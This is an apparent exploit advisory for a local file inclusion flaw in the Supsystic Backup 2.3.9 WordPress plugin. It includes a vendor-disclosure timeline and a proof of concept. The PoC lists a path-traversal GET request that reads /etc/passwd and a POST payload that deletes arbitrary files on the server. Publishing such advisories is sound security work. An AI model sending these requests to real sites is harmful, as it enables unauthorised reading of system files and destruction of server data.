35 lines
No EOL
1.3 KiB
Text
35 lines
No EOL
1.3 KiB
Text
# Exploit Title: WordPress Plugin Supsystic Backup 2.3.9 - Local File Inclusion
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# Date: 24/07/2020
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# Exploit Author: Erik David Martin
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# Vendor Homepage: https://supsystic.com/
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# Software Link: https://downloads.wordpress.org/plugin/backup-by-supsystic.zip
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# Version: 2.3.9
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# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2
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# 25/07 2020: Vendor notified
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# 27/07 2020: Vendor requested detailed information
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# 27/07 2020: Information provided
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# 07/08 2020: Nudged vendor. No reply
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# 22/08 2020: Nudged vendor. No reply
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# 04/10 2020: Nudged vendor. No reply.
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# 29/11 2020: WordPress Plugin Security team contacted
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# 01/12 2020: Plugin/Project closed by WordPress Security team
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# 1. Description
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Changing the path when downloading the stored backup allows an attacker to both read and delete internal system files (LFI).
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# 2. Proof of Concept (PoC)
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Create a backup. When downloading the backup, change its path:
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GET http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog&download=../../../../../../../../../etc/passwd
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The "Delete" tab also allows an attacker to delete files on the server:
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POST http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog
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Payload: reqType=ajax&page=backup&action=removeAction&filename=[FILE PATH]&deleteLog=1&pl=bup |